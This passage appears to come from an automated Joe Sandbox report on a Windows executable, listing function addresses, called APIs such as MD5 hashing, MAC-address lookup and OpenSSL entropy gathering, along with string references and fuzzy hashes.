__gmtime64_s.LIBCMT ref: 0042369D
__allrem.LIBCMT ref: 004236F3
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 0042370F
__allrem.LIBCMT ref: 00423726
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 00423744
__allrem.LIBCMT ref: 0042375B
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 00423779

Memory Dump Source

Source File: 00000002.00000002.2091173662.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2091173662.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2091173662.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_rq0mVjR9ar.jbxd

Yara matches

Similarity

API ID: Unothrow_t@std@@@__allrem__ehfuncinfo$??2@__gmtime64_s$__getptd_noexit_memset
String ID:
API String ID: 1503770280-0
Opcode ID: 7fd9d583014fb9bd54c3649c392eeadef0098b2c5eee71df52b0c12f16343c62
Instruction ID: ab95fd8d4aa8d0004faaa41ec126efad4d06c0b8c45c9850b5361983c80b405c
Opcode Fuzzy Hash: 7fd9d583014fb9bd54c3649c392eeadef0098b2c5eee71df52b0c12f16343c62
Instruction Fuzzy Hash: 6E7108B1B00726BBD7149E6ADC41B5AB3B8AF40729F54823FF514D6381E77CEA408798

Uniqueness

Uniqueness Score: -1.00%

Function 00427B0B Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 7
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

___crtCorExitProcess.LIBCMT ref: 00427B11

Part of subcall function 00427AD7: GetModuleHandleExW.KERNEL32(00000000,mscoree.dll,?,?,i;B,00427B16,i;B,?,00428BCA,000000FF,0000001E,00507BD0,00000008,00428B0E,i;B,i;B), ref: 00427AE6
Part of subcall function 00427AD7: GetProcAddress.KERNEL32(?,CorExitProcess), ref: 00427AF8

ExitProcess.KERNEL32 ref: 00427B1A

Strings

i;B, xrefs: 00427B0E

Memory Dump Source

Source File: 00000002.00000002.2091173662.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2091173662.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2091173662.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_rq0mVjR9ar.jbxd

Yara matches

Similarity

API ID: ExitProcess$AddressHandleModuleProc___crt
String ID: i;B
API String ID: 2427264223-472376889
Opcode ID: 1085377ae278e01a80d78c7627d5840b2da43c7aca63d5a85146659919477565
Instruction ID: 59367741208a4d0b8125be5957acfda0e57e61d39344a7bf1a3f5abf2379cf84
Opcode Fuzzy Hash: 1085377ae278e01a80d78c7627d5840b2da43c7aca63d5a85146659919477565
Instruction Fuzzy Hash: 0DB09230404108BBCB052F52EC0A85D3F29EB003A0B408026F90848031EBB2AA919AC8

Uniqueness

Uniqueness Score: -1.00%

Function 0040EF50 Relevance: 4.6, APIs: 3, Instructions: 57
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_malloc.LIBCMT ref: 0040EF69

Part of subcall function 00420C62: __FF_MSGBANNER.LIBCMT ref: 00420C79
Part of subcall function 00420C62: __NMSG_WRITE.LIBCMT ref: 00420C80
Part of subcall function 00420C62: RtlAllocateHeap.NTDLL(00840000,00000000,00000001,?,?,?,?,00423B69,?), ref: 00420CA5

_malloc.LIBCMT ref: 0040EF85
_memset.LIBCMT ref: 0040EF9B

Memory Dump Source

Source File: 00000002.00000002.2091173662.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2091173662.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2091173662.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_rq0mVjR9ar.jbxd

Yara matches

Similarity

API ID: _malloc$AllocateHeap_memset
String ID:
API String ID: 3655941445-0
Opcode ID: be46dd26feb53539181879275dd2331845889927b108b084fdb43cd894a3e3ad
Instruction ID: 5fa84ec4042e21db229fa26042ce02b7cce951e2f5e2b33d0654eda62efe4b83
Opcode Fuzzy Hash: be46dd26feb53539181879275dd2331845889927b108b084fdb43cd894a3e3ad
Instruction Fuzzy Hash: 06110631600624EFCB10DF99D881A5ABBB5FF89314F2445A9E9489F396D731B912CBC1

Uniqueness

Uniqueness Score: -1.00%

Function 0042FB64 Relevance: 3.0, APIs: 2, Instructions: 17
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__lock.LIBCMT ref: 0042FB7B

Part of subcall function 00428AF7: __mtinitlocknum.LIBCMT ref: 00428B09
Part of subcall function 00428AF7: __amsg_exit.LIBCMT ref: 00428B15
Part of subcall function 00428AF7: EnterCriticalSection.KERNEL32(i;B,?,004250D7,0000000D), ref: 00428B22

__tzset_nolock.LIBCMT ref: 0042FB8E

Part of subcall function 0042FE47: __lock.LIBCMT ref: 0042FE6C
Part of subcall function 0042FE47: ____lc_codepage_func.LIBCMT ref: 0042FEB3
Part of subcall function 0042FE47: __getenv_helper_nolock.LIBCMT ref: 0042FED4
Part of subcall function 0042FE47: _free.LIBCMT ref: 0042FF07
Part of subcall function 0042FE47: _strlen.LIBCMT ref: 0042FF0E
Part of subcall function 0042FE47: __malloc_crt.LIBCMT ref: 0042FF15

Memory Dump Source

Source File: 00000002.00000002.2091173662.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2091173662.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2091173662.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_rq0mVjR9ar.jbxd

Yara matches

Similarity

API ID: __lock$CriticalEnterSection____lc_codepage_func__amsg_exit__getenv_helper_nolock__malloc_crt__mtinitlocknum__tzset_nolock_free_strlen
String ID:
API String ID: 1282695788-0
Opcode ID: 92963a37b1ac55d125e1d9796c7b8053ccc5c5112960f7952bb2c963dcdaa470
Instruction ID: e2ddc43a93f61bf79f0790849a809cb79cc8f4f227a559e0d4967367be19fad2
Opcode Fuzzy Hash: 92963a37b1ac55d125e1d9796c7b8053ccc5c5112960f7952bb2c963dcdaa470
Instruction Fuzzy Hash: 69E0BF35E41664DAD620A7A2F91B75C7570AB14329FD0D16F9110111D28EBC15C8DA2E

Uniqueness

Uniqueness Score: -1.00%

Function 00427F3D Relevance: 1.5, APIs: 1, Instructions: 9
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_doexit.LIBCMT ref: 00427F47

Part of subcall function 00427E0E: __lock.LIBCMT ref: 00427E1C
Part of subcall function 00427E0E: DecodePointer.KERNEL32(00507B08,0000001C,00427CFB,00423B69,00000001,00000000,i;B,00427C49,000000FF,?,00428B1A,00000011,i;B,?,004250D7,0000000D), ref: 00427E5B
Part of subcall function 00427E0E: DecodePointer.KERNEL32(?,00428B1A,00000011,i;B,?,004250D7,0000000D), ref: 00427E6C
Part of subcall function 00427E0E: EncodePointer.KERNEL32(00000000,?,00428B1A,00000011,i;B,?,004250D7,0000000D), ref: 00427E85
Part of subcall function 00427E0E: DecodePointer.KERNEL32(-00000004,?,00428B1A,00000011,i;B,?,004250D7,0000000D), ref: 00427E95
Part of subcall function 00427E0E: EncodePointer.KERNEL32(00000000,?,00428B1A,00000011,i;B,?,004250D7,0000000D), ref: 00427E9B
Part of subcall function 00427E0E: DecodePointer.KERNEL32(?,00428B1A,00000011,i;B,?,004250D7,0000000D), ref: 00427EB1
Part of subcall function 00427E0E: DecodePointer.KERNEL32(?,00428B1A,00000011,i;B,?,004250D7,0000000D), ref: 00427EBC

Memory Dump Source

Source File: 00000002.00000002.2091173662.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2091173662.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2091173662.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_rq0mVjR9ar.jbxd

Yara matches

Similarity

API ID: Pointer$Decode$Encode$__lock_doexit
String ID:
API String ID: 2158581194-0
Opcode ID: e664eab0a2f8ce3703c552baf369986a84cdf03d3e0bf670d1975cdb5f15a4fc
Instruction ID: a7e7560d2adc556c6fb323ffd13f600db444db9a7111c1ec19eeb8b3048b151f
Opcode Fuzzy Hash: e664eab0a2f8ce3703c552baf369986a84cdf03d3e0bf670d1975cdb5f15a4fc
Instruction Fuzzy Hash: ABB01271A8430C33DA113642FC03F053B0C4740B54F610071FA0C2C5E1A593B96040DD

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 00410FC0 Relevance: 33.4, APIs: 18, Strings: 1, Instructions: 149encryptionstringCOMMON

Download Yara Rule

APIs

CryptAcquireContextW.ADVAPI32(?,00000000,00000000,00000001,F0000000), ref: 00411010
__CxxThrowException@8.LIBCMT ref: 00411026

Part of subcall function 00430ECA: RaiseException.KERNEL32(?,?,?,<yP,?,?,?,?,?,00423B9C,?,0050793C,?,00000001), ref: 00430F1F

CryptCreateHash.ADVAPI32(00000000,00008003,00000000,00000000,00000000), ref: 0041103B
__CxxThrowException@8.LIBCMT ref: 00411051
lstrlenA.KERNEL32(?,00000000), ref: 00411059
CryptHashData.ADVAPI32(00000000,?,00000000,?,00000000), ref: 00411064
__CxxThrowException@8.LIBCMT ref: 0041107A
CryptGetHashParam.ADVAPI32(00000000,00000002,00000000,?,00000000,?,00000000,?,00000000), ref: 00411099
__CxxThrowException@8.LIBCMT ref: 004110AB
_memset.LIBCMT ref: 004110CA
CryptGetHashParam.ADVAPI32(00000000,00000002,00000000,00000000,00000000), ref: 004110DE
__CxxThrowException@8.LIBCMT ref: 004110F0
_malloc.LIBCMT ref: 00411100
_memset.LIBCMT ref: 0041110B
_sprintf.LIBCMT ref: 0041112E
lstrcatA.KERNEL32(?,?), ref: 0041113C
CryptDestroyHash.ADVAPI32(00000000), ref: 00411154
CryptReleaseContext.ADVAPI32(00000000,00000000), ref: 0041115F

Strings

%.2X, xrefs: 00411128

Memory Dump Source

Source File: 00000002.00000002.2091173662.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2091173662.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2091173662.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_rq0mVjR9ar.jbxd

Yara matches

Similarity

API ID: Crypt$Exception@8HashThrow$ContextParam_memset$AcquireCreateDataDestroyExceptionRaiseRelease_malloc_sprintflstrcatlstrlen
String ID: %.2X
API String ID: 2451520719-213608013
Opcode ID: 6f04bcb1d5af6720d81330ba6d25d2fff10d0e34b425382de5d36dfe67944e00
Instruction ID: afcee35d8fffc0279d29cc69f214b0122642615a52b78f57353c1cfd92a6c2ef
Opcode Fuzzy Hash: 6f04bcb1d5af6720d81330ba6d25d2fff10d0e34b425382de5d36dfe67944e00
Instruction Fuzzy Hash: 92516171E40219BBDB10DBE5DC46FEFBBB8FB08704F14012AFA05B6291D77959018BA9

Uniqueness

Uniqueness Score: -1.00%

Function 00411900 Relevance: 29.8, APIs: 16, Strings: 1, Instructions: 95stringmemorywindowCOMMON

Download Yara Rule

APIs

GetLastError.KERNEL32 ref: 00411915
FormatMessageW.KERNEL32(00001300,00000000,?,00000400,?,00000000,00000000), ref: 00411932
lstrlenW.KERNEL32(?,?,00000400,?,00000000,00000000), ref: 00411941
lstrlenW.KERNEL32(?,?,00000400,?,00000000,00000000), ref: 00411948
LocalAlloc.KERNEL32(00000040,00000000,?,00000400,?,00000000,00000000), ref: 00411956
lstrcpyW.KERNEL32(00000000,?), ref: 00411962
lstrcatW.KERNEL32(00000000, failed with error ), ref: 00411974
lstrcatW.KERNEL32(00000000,?), ref: 0041198B
lstrcatW.KERNEL32(00000000,00500260), ref: 00411993
lstrcatW.KERNEL32(00000000,?), ref: 00411999
lstrlenW.KERNEL32(00000000,?,00000400,?,00000000,00000000), ref: 004119A3
_memset.LIBCMT ref: 004119B8
lstrcpynW.KERNEL32(?,00000000,00000400,?,00000400,?,00000000,00000000), ref: 004119DC

Part of subcall function 00412BA0: lstrlenW.KERNEL32(?), ref: 00412BC9

LocalFree.KERNEL32(?,?,00000400,?,00000000,00000000), ref: 00411A01
LocalFree.KERNEL32(00000000,?,00000400,?,00000000,00000000), ref: 00411A04

Strings

failed with error , xrefs: 0041196E

Memory Dump Source

Source File: 00000002.00000002.2091173662.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2091173662.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2091173662.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_rq0mVjR9ar.jbxd

Yara matches

Similarity

API ID: lstrcatlstrlen$Local$Free$AllocErrorFormatLastMessage_memsetlstrcpylstrcpyn
String ID: failed with error
API String ID: 4182478520-946485432
Opcode ID: 18b9b32fccc37a3c6be161fd0b5e4603234beec1f634f25e965e40264c5ea564
Instruction ID: 1677776e610180b78075291f83559cfdcc99dc463041ebd32873df59a21ecb07
Opcode Fuzzy Hash: 18b9b32fccc37a3c6be161fd0b5e4603234beec1f634f25e965e40264c5ea564
Instruction Fuzzy Hash: 0021FB31A40214B7D7516B929C85FAE3A38EF45B11F100025FB09B61D0DE741D419BED

Uniqueness

Uniqueness Score: -1.00%

Function 0040F730 Relevance: 29.2, APIs: 19, Instructions: 732COMMON

Download Yara Rule

APIs

Part of subcall function 00411AB0: PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 00411ACA
Part of subcall function 00411AB0: DispatchMessageW.USER32(?), ref: 00411AE0
Part of subcall function 00411AB0: PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 00411AEE

PathFindFileNameW.SHLWAPI(?,?,00000000,000000FF), ref: 0040F900
_memmove.LIBCMT ref: 0040F9EA
PathFindFileNameW.SHLWAPI(?,?,00000000,00000000,00000000,-00000002), ref: 0040FA51
_memmove.LIBCMT ref: 0040FADA

Memory Dump Source

Source File: 00000002.00000002.2091173662.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2091173662.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2091173662.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_rq0mVjR9ar.jbxd

Yara matches

Similarity

API ID: Message$FileFindNamePathPeek_memmove$Dispatch
String ID:
API String ID: 273148273-0
Opcode ID: 9523524d8d3b45d9081d0fccdbbe5b8ea63895c3f5938442575e5094c992c0b6
Instruction ID: a2fe25dd57492d494e78aebb36a96054b80ce25314fb01b08d1ce03a62da89f0
Opcode Fuzzy Hash: 9523524d8d3b45d9081d0fccdbbe5b8ea63895c3f5938442575e5094c992c0b6
Instruction Fuzzy Hash: D652A271D00208DBDF20DFA4D985BDEB7B4BF05308F10817AE419B7291D779AA89CB99

Uniqueness

Uniqueness Score: -1.00%

Function 0040E870 Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 165encryptionCOMMON

Download Yara Rule

APIs

CryptAcquireContextW.ADVAPI32(00000000,00000000,00000000,00000001,F0000000,004FFCA4,00000000,00000000), ref: 0040E8CE
__CxxThrowException@8.LIBCMT ref: 0040E8E4

Part of subcall function 00430ECA: RaiseException.KERNEL32(?,?,?,<yP,?,?,?,?,?,00423B9C,?,0050793C,?,00000001), ref: 00430F1F

CryptCreateHash.ADVAPI32(00000000,00008003,00000000,00000000,00000000), ref: 0040E8F9
__CxxThrowException@8.LIBCMT ref: 0040E90F
CryptHashData.ADVAPI32(00000000,00000000,?,00000000), ref: 0040E928
__CxxThrowException@8.LIBCMT ref: 0040E93E
CryptGetHashParam.ADVAPI32(00000000,00000002,00000000,?,00000000), ref: 0040E95D
__CxxThrowException@8.LIBCMT ref: 0040E96F
_memset.LIBCMT ref: 0040E98E
CryptGetHashParam.ADVAPI32(00000000,00000002,00000000,00000000,00000000), ref: 0040E9A2
__CxxThrowException@8.LIBCMT ref: 0040E9B4
_sprintf.LIBCMT ref: 0040E9D3

Strings

%.2X, xrefs: 0040E9CD

Memory Dump Source

Source File: 00000002.00000002.2091173662.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2091173662.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2091173662.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_rq0mVjR9ar.jbxd

Yara matches

Similarity

API ID: CryptException@8Throw$Hash$Param$AcquireContextCreateDataExceptionRaise_memset_sprintf
String ID: %.2X
API String ID: 1084002244-213608013
Opcode ID: 3deed8c6e3840860115ea43936f1cfce13c92bcc70370307f91e5f5c9cd17acd
Instruction ID: 6020eefb82f776eec2353dc0ff897aa1862dcd4ecc30860888fbdadc8ba65bc1
Opcode Fuzzy Hash: 3deed8c6e3840860115ea43936f1cfce13c92bcc70370307f91e5f5c9cd17acd
Instruction Fuzzy Hash: 835173B1E40209EBDF11DFA2DC46FEEBB78EB04704F10452AF501B61C1D7796A158BA9

Uniqueness

Uniqueness Score: -1.00%

Function 0040EAA0 Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 159encryptionCOMMON

Download Yara Rule

APIs

CryptAcquireContextW.ADVAPI32(00000000,00000000,00000000,00000001,F0000000,004FFCA4,00000000), ref: 0040EB01
__CxxThrowException@8.LIBCMT ref: 0040EB17

Part of subcall function 00430ECA: RaiseException.KERNEL32(?,?,?,<yP,?,?,?,?,?,00423B9C,?,0050793C,?,00000001), ref: 00430F1F

CryptCreateHash.ADVAPI32(00000000,00008003,00000000,00000000,00000000), ref: 0040EB2C
__CxxThrowException@8.LIBCMT ref: 0040EB42
CryptHashData.ADVAPI32(00000000,?,?,00000000), ref: 0040EB4E
__CxxThrowException@8.LIBCMT ref: 0040EB64
CryptGetHashParam.ADVAPI32(00000000,00000002,00000000,?,00000000,?,?,00000000), ref: 0040EB83
__CxxThrowException@8.LIBCMT ref: 0040EB95
_memset.LIBCMT ref: 0040EBB4
CryptGetHashParam.ADVAPI32(00000000,00000002,00000000,00000000,00000000), ref: 0040EBC8
__CxxThrowException@8.LIBCMT ref: 0040EBDA
_sprintf.LIBCMT ref: 0040EBF4
CryptDestroyHash.ADVAPI32(00000000), ref: 0040EC44
CryptReleaseContext.ADVAPI32(00000000,00000000), ref: 0040EC4F

Strings

%.2X, xrefs: 0040EBEE

Memory Dump Source

Source File: 00000002.00000002.2091173662.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2091173662.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2091173662.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_rq0mVjR9ar.jbxd

Yara matches

Similarity

API ID: Crypt$Exception@8HashThrow$ContextParam$AcquireCreateDataDestroyExceptionRaiseRelease_memset_sprintf
String ID: %.2X
API String ID: 1637485200-213608013
Opcode ID: 16aaa772ddb988d461e4337924cf716956fc1cb963719ed600faa1ffd715582e
Instruction ID: 14d7d02cf3c54262bdef7e6fa07b3cadf7b2b7504ea62fb0b9d39e8d8664034d
Opcode Fuzzy Hash: 16aaa772ddb988d461e4337924cf716956fc1cb963719ed600faa1ffd715582e
Instruction Fuzzy Hash: A6515371E40209ABDF11DBA6DC46FEFBBB8EB04704F14052AF505B62C1D77969058BA8

Uniqueness

Uniqueness Score: -1.00%

Function 004822E0 Relevance: 26.4, APIs: 13, Strings: 2, Instructions: 127windowCOMMON

Download Yara Rule

APIs

Part of subcall function 004549A0: GetModuleHandleA.KERNEL32(?,?,00000001,?,00454B72), ref: 004549C7
Part of subcall function 004549A0: GetProcAddress.KERNEL32(00000000,_OPENSSL_isservice), ref: 004549D7
Part of subcall function 004549A0: GetDesktopWindow.USER32 ref: 004549FB
Part of subcall function 004549A0: GetProcessWindowStation.USER32(?,00454B72), ref: 00454A01
Part of subcall function 004549A0: GetUserObjectInformationW.USER32(00000000,00000002,00000000,00000000,?,?,00454B72), ref: 00454A1C
Part of subcall function 004549A0: GetLastError.KERNEL32(?,00454B72), ref: 00454A2A
Part of subcall function 004549A0: GetUserObjectInformationW.USER32(00000000,00000002,?,?,?,?,00454B72), ref: 00454A65
Part of subcall function 004549A0: _wcsstr.LIBCMT ref: 00454A8A

CreateDCA.GDI32(DISPLAY,00000000,00000000,00000000), ref: 00482316
CreateCompatibleDC.GDI32(00000000), ref: 00482323
GetDeviceCaps.GDI32(00000000,00000008), ref: 00482338
GetDeviceCaps.GDI32(00000000,0000000A), ref: 00482341
CreateCompatibleBitmap.GDI32(00000000,?,00000010), ref: 0048234E
SelectObject.GDI32(00000000,00000000), ref: 0048235C
GetObjectA.GDI32(00000000,00000018,?), ref: 0048236E
BitBlt.GDI32(?,00000000,00000000,?,00000010,?,00000000,00000000,00CC0020), ref: 004823CA
GetBitmapBits.GDI32(?,?,00000000), ref: 004823D6
SelectObject.GDI32(?,?), ref: 00482436
DeleteObject.GDI32(00000000), ref: 0048243D
DeleteDC.GDI32(?), ref: 0048244A
DeleteDC.GDI32(?), ref: 00482450

Strings

.\crypto\rand\rand_win.c, xrefs: 00482383
DISPLAY, xrefs: 00482311

Memory Dump Source

Source File: 00000002.00000002.2091173662.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2091173662.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2091173662.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_rq0mVjR9ar.jbxd

Yara matches

Similarity

API ID: Object$CreateDelete$BitmapCapsCompatibleDeviceInformationSelectUserWindow$AddressBitsDesktopErrorHandleLastModuleProcProcessStation_wcsstr
String ID: .\crypto\rand\rand_win.c$DISPLAY
API String ID: 151064509-1805842116
Opcode ID: 1b801d1ffbd88b82039091f0604768a30c592b3e6827ab76a1e426d578563625
Instruction ID: 00d76d2b57e2ae43ffa0e146b327d2d4306243c0a97269805a4caa25bb15a565
Opcode Fuzzy Hash: 1b801d1ffbd88b82039091f0604768a30c592b3e6827ab76a1e426d578563625
Instruction Fuzzy Hash: 0441BB71944300EBD3105BB6DC86F6FBBF8FF85B14F00052EFA54962A1E77598008B6A

Uniqueness

Uniqueness Score: -1.00%

Function 0040E670 Relevance: 26.3, APIs: 12, Strings: 3, Instructions: 78COMMON

Download Yara Rule

APIs

_malloc.LIBCMT ref: 0040E67F

Part of subcall function 00420C62: __FF_MSGBANNER.LIBCMT ref: 00420C79
Part of subcall function 00420C62: __NMSG_WRITE.LIBCMT ref: 00420C80
Part of subcall function 00420C62: RtlAllocateHeap.NTDLL(00840000,00000000,00000001,?,?,?,?,00423B69,?), ref: 00420CA5

_malloc.LIBCMT ref: 0040E68B
_wprintf.LIBCMT ref: 0040E69E
_free.LIBCMT ref: 0040E6A4

Part of subcall function 00420BED: HeapFree.KERNEL32(00000000,00000000,?,0042507F,00000000,0042520D,00420CE9), ref: 00420C01
Part of subcall function 00420BED: GetLastError.KERNEL32(00000000,?,0042507F,00000000,0042520D,00420CE9), ref: 00420C13

GetAdaptersInfo.IPHLPAPI(00000000,00000288), ref: 0040E6B9
_free.LIBCMT ref: 0040E6C5
_malloc.LIBCMT ref: 0040E6CD
GetAdaptersInfo.IPHLPAPI(00000000,00000288), ref: 0040E6E0
_sprintf.LIBCMT ref: 0040E720
_wprintf.LIBCMT ref: 0040E732
_wprintf.LIBCMT ref: 0040E73C
_free.LIBCMT ref: 0040E745

Strings

Address: %s, mac: %s, xrefs: 0040E72D
Error allocating memory needed to call GetAdaptersinfo, xrefs: 0040E699
%02X:%02X:%02X:%02X:%02X:%02X, xrefs: 0040E71A

Memory Dump Source

Source File: 00000002.00000002.2091173662.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2091173662.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2091173662.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_rq0mVjR9ar.jbxd

Yara matches

Similarity

API ID: _free_malloc_wprintf$AdaptersHeapInfo$AllocateErrorFreeLast_sprintf
String ID: %02X:%02X:%02X:%02X:%02X:%02X$Address: %s, mac: %s$Error allocating memory needed to call GetAdaptersinfo
API String ID: 3901070236-1604013687
Opcode ID: 3662c7b498418dd0805699ed7e156d37d96e3abec8e0c242f5b97c865e313c7a
Instruction ID: 1f0497fb971ee708fef02f82321736b2a43cb7681c3985dbc626545fd8dc3fd8
Opcode Fuzzy Hash: 3662c7b498418dd0805699ed7e156d37d96e3abec8e0c242f5b97c865e313c7a
Instruction Fuzzy Hash: 251127B2A045647AC27162F76C02FFF3ADC8F45705F84056BFA98E1182EA5D5A0093B9

Uniqueness

Uniqueness Score: -1.00%

Function 00410160 Relevance: 26.2, APIs: 17, Instructions: 660COMMON

Download Yara Rule

APIs

Part of subcall function 00411AB0: PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 00411ACA
Part of subcall function 00411AB0: DispatchMessageW.USER32(?), ref: 00411AE0
Part of subcall function 00411AB0: PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 00411AEE

PathFindFileNameW.SHLWAPI(?,?,00000000), ref: 00410346
_memmove.LIBCMT ref: 00410427
PathFindFileNameW.SHLWAPI(?,?,00000000,00000000,00000000,-00000002), ref: 0041048E
_memmove.LIBCMT ref: 00410514

Memory Dump Source

Source File: 00000002.00000002.2091173662.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2091173662.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2091173662.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_rq0mVjR9ar.jbxd

Yara matches

Similarity

API ID: Message$FileFindNamePathPeek_memmove$Dispatch
String ID:
API String ID: 273148273-0
Opcode ID: 5579d069003674f30fc20657d67551341dfb12f417424f211cabcd1385ef9a93
Instruction ID: 4d52a43d2e6eeb98f1fe08e229a92f838bd03635929547cf71b8ba18611ce854
Opcode Fuzzy Hash: 5579d069003674f30fc20657d67551341dfb12f417424f211cabcd1385ef9a93
Instruction Fuzzy Hash: EF429F70D00208DBDF14DFA4C985BDEB7F5BF04308F20456EE415A7291E7B9AA85CBA9

Uniqueness

Uniqueness Score: -1.00%

Function 0040FB98 Relevance: 15.3, APIs: 10, Instructions: 266stringCOMMON

Download Yara Rule

APIs

PathAppendW.SHLWAPI(?,?), ref: 0040FBD5
_memmove.LIBCMT ref: 0040FC3C
PathFileExistsW.SHLWAPI(?,?,?,?), ref: 0040FC63
_malloc.LIBCMT ref: 0040FC72
lstrcpyW.KERNEL32(00000000,?), ref: 0040FC8C
lstrcatW.KERNEL32(00000000,?), ref: 0040FCA5
_free.LIBCMT ref: 0040FCD7

Memory Dump Source

Source File: 00000002.00000002.2091173662.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2091173662.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2091173662.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_rq0mVjR9ar.jbxd

Yara matches

Similarity

API ID: Path$AppendExistsFile_free_malloc_memmovelstrcatlstrcpy
String ID:
API String ID: 3232302685-0
Opcode ID: 8e7fd9746f064940cb66d6ef43538eded20f2cba022702fc4082d6d5591459cc
Instruction ID: e959444c36dd18fc08dff6604914d564c76187b82df2896015b22d61e5b1ffa1
Opcode Fuzzy Hash: 8e7fd9746f064940cb66d6ef43538eded20f2cba022702fc4082d6d5591459cc
Instruction Fuzzy Hash: 09B19F70D00208DBDF20DFA4D945BDEB7B5BF15308F50407AE40AAB291E7799A89CF5A

Uniqueness

Uniqueness Score: -1.00%

Function 004382A2 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 56COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLocaleInfoW.KERNEL32(?,2000000B,?,00000002,?,?,00438568,?,00000000), ref: 004382E6
GetLocaleInfoW.KERNEL32(?,20001004,?,00000002,?,?,00438568,?,00000000), ref: 00438310

Strings

OCP, xrefs: 004382C4
ACP, xrefs: 004382B3

Memory Dump Source

